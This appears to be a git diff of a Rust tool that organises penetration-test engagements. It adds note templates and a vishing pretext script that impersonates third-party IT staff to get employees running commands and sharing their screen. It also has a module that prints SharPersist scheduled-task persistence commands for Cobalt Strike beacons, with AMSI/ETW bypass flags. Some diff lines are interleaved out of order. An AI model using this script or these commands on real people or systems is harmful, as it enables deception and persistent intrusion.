||||||
let working_folder = format!("{}/working", &project_files_folder_path);
|
|
||||||
let writing_folder = format!("{}/writing", &project_files_folder_path);
|
|
||||||
let screeenshot_folder = format!("{}/screenshots",&writing_folder);
|
|
||||||
let delivery_folder = format!("{}/delivery", &project_files_folder_path);
|
|
||||||
// make the folders for this project's notes and files
|
|
||||||
println!("creating directory structure for notes and file folders...");
|
|
||||||
fs::create_dir_all(&project_folder_path).expect("Error creating project folder");
|
|
||||||
fs::create_dir_all(&project_files_folder_path).expect("Error creating project file folder");
|
|
||||||
fs::create_dir_all(&working_folder).expect("error creating working directory");
|
|
||||||
fs::create_dir_all(&writing_folder).expect("Error creating writing direcotry");
|
|
||||||
fs::create_dir(&screeenshot_folder).expect("error creating screenshots folder");
|
|
||||||
fs::create_dir_all(&delivery_folder).expect("Error creating delivery direcotry");
|
|
||||||
if project_name.contains("internal"){
|
|
||||||
println!("internal pentest type detected, auto populating notes with internal layout...");
|
|
||||||
internal(project_folder_path,&company_name, &project_name, passpray_path);
|
|
||||||
}
|
|
||||||
else if project_name.contains("external") {
|
|
||||||
println!("external pentest type detected, auto populating notes with external layout...");
|
|
||||||
external(project_folder_path, &company_name, &project_name, passpray_path);
|
|
||||||
}
|
|
||||||
else if project_name.contains("webapp") {
|
|
||||||
println!("not implemented yet sorry");
|
|
||||||
println!("default file folder structure used, and empty notes folder created...")
|
|
||||||
}
|
|
||||||
else{
|
|
||||||
println!("unknown project type detected, default folder strucutre and empty note folder created...");
|
|
||||||
print!("
|
|
||||||
Known project types:
|
|
||||||
Internal Penetration Test
|
|
||||||
External Penetartion Test
|
|
||||||
|
|
||||||
If this test is actually one of these types please include the type in the project name parameter, example: 2023_internal_pentest.
|
have they been vished before?
|
||||||
If this test is a common test and you would like a default note structure implemented in this script let Kevin \"Kage\" Gunter know and supply an example markdown note sheet.");
|
if yes ask what the purpose of that vishing was, gain a foothold, or other?
|
||||||
}
|
|
||||||
|
|
||||||
|
ask the purpose of this test, just see if we can get creds or testing a vetting process, or any specific goals for the engagement.
|
||||||
|
|
||||||
|
four main aspects
|
||||||
|
1. verbal confirmation and verification of information
|
||||||
|
2. run commands on the system they're on
|
||||||
|
3. go to a specific website
|
||||||
|
4. join a screen sharing session with us
|
||||||
|
|
||||||
|
pretexts:
|
||||||
|
default is third party it.
|
||||||
|
they have 2 dudes for helpdesk so this may not be the best pretext. Try to impersonate a specific helpdesk user. impersonate William sounds like our plan.
|
||||||
|
|
||||||
|
Vector -
|
||||||
|
|
||||||
|
ask for any questions, comments, or concerns.
|
||||||
|
").unwrap();
|
||||||
|
}
|
||||||
|
notes_path.pop();
|
||||||
|
notes_path.push("findings.md");
|
||||||
|
let findings_res = create_note_file(¬es_path);
|
||||||
|
if findings_res.is_some(){
|
||||||
|
let mut findings_file = findings_res.unwrap();
|
||||||
|
write!(findings_file, "# Findings to write up\n\n\n# Delivery Notes\n").unwrap();
|
||||||
|
}
|
||||||
|
notes_path.pop();
|
||||||
|
notes_path.push("pretext.md");
|
||||||
|
let pretext_res = create_note_file(¬es_path);
|
||||||
|
if pretext_res.is_some(){
|
||||||
|
let mut pretext_file = pretext_res.unwrap();
|
||||||
|
write!(pretext_file, "\n\n\n#Script").unwrap();
|
||||||
|
write!(pretext_file, "
|
||||||
|
Hello I'm [name] from [Find Local IT Shop]. We were brought in to help your normal IT guys with some of the menial tasks so they can focus on more import improvement projects. As part of this we're making sure our inventory management system is checking in correctly and up to date, this should only take a minute or two. Is now bad time to talk?
|
||||||
|
|
||||||
|
Great I just need to confirm that my inventory report here is accurate.
|
||||||
|
|
||||||
|
Are you currently running Windows 11?
|
||||||
|
|
||||||
|
can you confirm your user name is [metadata username]?
|
||||||
|
|
||||||
|
Your primary browser is firfox?
|
||||||
|
|
||||||
|
Oh thats strange it seems our report is wrong then... I don't think our program on your computer is checking in correctly... uhhh I want to make sure you're getting all the windows updates we need to be compliant.
|
||||||
|
|
||||||
|
Hold the windows key on your keyboard and press the r button. in the box that opens up type cmd.exe and press enter.
|
||||||
|
|
||||||
|
This will open a scary black box, but don't worry I'll walk you through what we need here, it'll be pretty easy.
|
||||||
|
|
||||||
|
In that box type systemifo all one word and press enter.
|
||||||
|
|
||||||
|
Scroll up through that output and find the section that talks about hotfixes, how many are installed?
|
||||||
|
|
||||||
|
That doesn't seem like the right number to me, can you read me the last 3 that are listed there?
|
||||||
|
|
||||||
|
yeah you're definitely not getting all of the windows updates. This is going to take a bit of troubleshooting to figure out. Would you mind hopping in a Zoom call with me and sharing your screen so I can check a few things? This should only take a couple of minutes.
|
||||||
|
|
||||||
|
(open up the services manager and scroll through it, check some program files folders, and run a few commands in cmd to act like I'm troubleshooting.)
|
||||||
|
|
||||||
|
Hmmm everything looks ok on this end. I'm going to do some troubleshooting on the server side and see if we can get to the bottom of this. I don't think we'll need anything else from you to fix this, but if that changes I'll let you know. Thank you for your time.
|
||||||
|
").unwrap();
|
||||||
|
}
|
||||||
|
notes_path.pop();
|
||||||
|
notes_path.push("calls.md");
|
||||||
|
create_note_file(¬es_path);
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn start_pentest(config_path: &PathBuf, projects: &mut Vec<Project>, id: i32, upcoming_files: &PathBuf, upcoming_notes: &PathBuf, boxtemplate: &String, password_spray_file: &PathBuf) {
|
||||||
|
let mut project_files = upcoming_files.clone();
|
||||||
|
let mut project_notes = upcoming_notes.clone();
|
||||||
|
let customer_name = get_user_input("Customer name?");
|
||||||
|
let project_name = get_user_input("Project Name?");
|
||||||
|
project_files.push(&customer_name);
|
||||||
|
project_files.push(&project_name);
|
||||||
|
project_notes.push(&customer_name);
|
||||||
|
project_notes.push(&project_name);
|
||||||
|
println!("Files: {}\nNotes: {}\n\n", project_files.display(), project_notes.display());
|
||||||
|
let confirm_response = get_user_input("does this look ok?");
|
||||||
|
if confirm_response.to_lowercase().contains("n"){
|
||||||
|
println!("oof sorry");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let mut working = project_files.clone();
|
||||||
|
create_project_folder(&mut working, "working");
|
||||||
|
create_project_folder(&mut working, "writing");
|
||||||
|
create_project_folder(&mut working, "delivery");
|
||||||
|
let project_boxname = format!("{}_{}", boxtemplate, customer_name);
|
||||||
|
let new_prject = Project{customer:customer_name.clone(), project_name:project_name.clone(), notes_folder:project_notes.clone(), files_folder:project_files.clone(),active:false, boxname:project_boxname.clone(),stage:"upcoming".to_owned(), id};
|
||||||
|
if project_name.to_lowercase().contains("external"){
|
||||||
|
external(password_spray_file, &new_prject);
|
||||||
|
}
|
||||||
|
else if project_name.to_lowercase().contains("internal"){
|
||||||
|
internal(password_spray_file, &new_prject);
|
||||||
|
}
|
||||||
|
else if project_name.to_lowercase().contains("vishing"){
|
||||||
|
vishing(&new_prject);
|
||||||
|
}
|
||||||
|
projects.push(new_prject);
|
||||||
|
project_controls::save_projects(projects, config_path);
|
||||||
|
println!("project created and saved to the projects config file!");
|
||||||
}
|
}
|
||||||
43
pentest_tool/src/tool_controls.rs
Normal file
43
pentest_tool/src/tool_controls.rs
Normal file
@@ -0,0 +1,43 @@
|
|||||||
|
use std::{env::set_current_dir, path::PathBuf};
|
||||||
|
use std::process::Command;
|
||||||
|
use colored::Colorize;
|
||||||
|
use walkdir::WalkDir;
|
||||||
|
use crate::print_success;
|
||||||
|
|
||||||
|
|
||||||
|
pub fn update_git_tools(tools_dir: &PathBuf){
|
||||||
|
let mut folders = Vec::new();
|
||||||
|
for entry in WalkDir::new(tools_dir).max_depth(2){
|
||||||
|
let entry = entry.unwrap();
|
||||||
|
let path = entry.path();
|
||||||
|
if path.is_dir(){
|
||||||
|
folders.push(path.to_owned());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
for folder in folders{
|
||||||
|
let cd_res = set_current_dir(&folder);
|
||||||
|
if cd_res.is_err(){
|
||||||
|
let error = cd_res.err().unwrap();
|
||||||
|
println!("{}","error changing directory!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
let _cd = cd_res.unwrap();
|
||||||
|
let git_command_res = Command::new("git")
|
||||||
|
.arg("pull")
|
||||||
|
.arg("--autostash")
|
||||||
|
.status();
|
||||||
|
if git_command_res.is_err(){
|
||||||
|
let error = git_command_res.err().unwrap();
|
||||||
|
println!("{}","error running git pull command!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
let git_command = git_command_res.unwrap();
|
||||||
|
if git_command.success(){
|
||||||
|
print_success(format!("successfully updated {}", folder.display()));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
34
pentest_tool/src/victim_commands.rs
Normal file
34
pentest_tool/src/victim_commands.rs
Normal file
@@ -0,0 +1,34 @@
|
|||||||
|
use std::path::PathBuf;
|
||||||
|
use colored::Colorize;
|
||||||
|
use walkdir::WalkDir;
|
||||||
|
use crate::get_user_input;
|
||||||
|
use crate::print_success;
|
||||||
|
|
||||||
|
pub fn sharp_persist_command(tools_dir: &PathBuf){
|
||||||
|
let filename = "SharPersist.exe";
|
||||||
|
let mut binary_path = String::new();
|
||||||
|
for entry in WalkDir::new(tools_dir){
|
||||||
|
let entry = entry.unwrap();
|
||||||
|
let path = entry.path();
|
||||||
|
if path.is_file() && path.file_name().unwrap() == filename{
|
||||||
|
binary_path = path.to_str().unwrap().to_string();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if get_user_input("will you be running this is cobalt strike?").to_lowercase().contains("y"){
|
||||||
|
let beacon_path = get_user_input("excellent! Please enter the path to your beacon file on the victim machine.");
|
||||||
|
println!("how will you run it?");
|
||||||
|
println!("1.) execute-assembly\n2.) inline-execute-assembly\n3.) from disk");
|
||||||
|
match get_user_input("selection?").as_str(){
|
||||||
|
"1" => println!("execute-assembly {} -t schtask -c \"{}\" -n FRPersist -m add -o hourly", binary_path, beacon_path),
|
||||||
|
"2" => println!("inlineExecute-Assembly --dotnetassembly {} --assemblyargs -t schtask -c \"{}\" -n FRPersist -m add -o hourly --etw --amsi", binary_path, beacon_path),
|
||||||
|
"3" => println!("upload {}\n\nrun .\\SharPersist.exe -t schtask -c \"{}\" -n FRPersist -m add -o hourly", binary_path, beacon_path),
|
||||||
|
_ => println!("{}","unknown selection".red())
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let file_to_run = get_user_input("path to the file you want to run for persistence?");
|
||||||
|
print_success("ok then, upload the following file to the machine");
|
||||||
|
print_success(format!("{}", binary_path));
|
||||||
|
print_success(format!("C:\\path\\to\\your\\sharpersist.exe -t schtask -c \"{}\" -n FRPersist -m add -o hourly", file_to_run));
|
||||||
|
return;
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user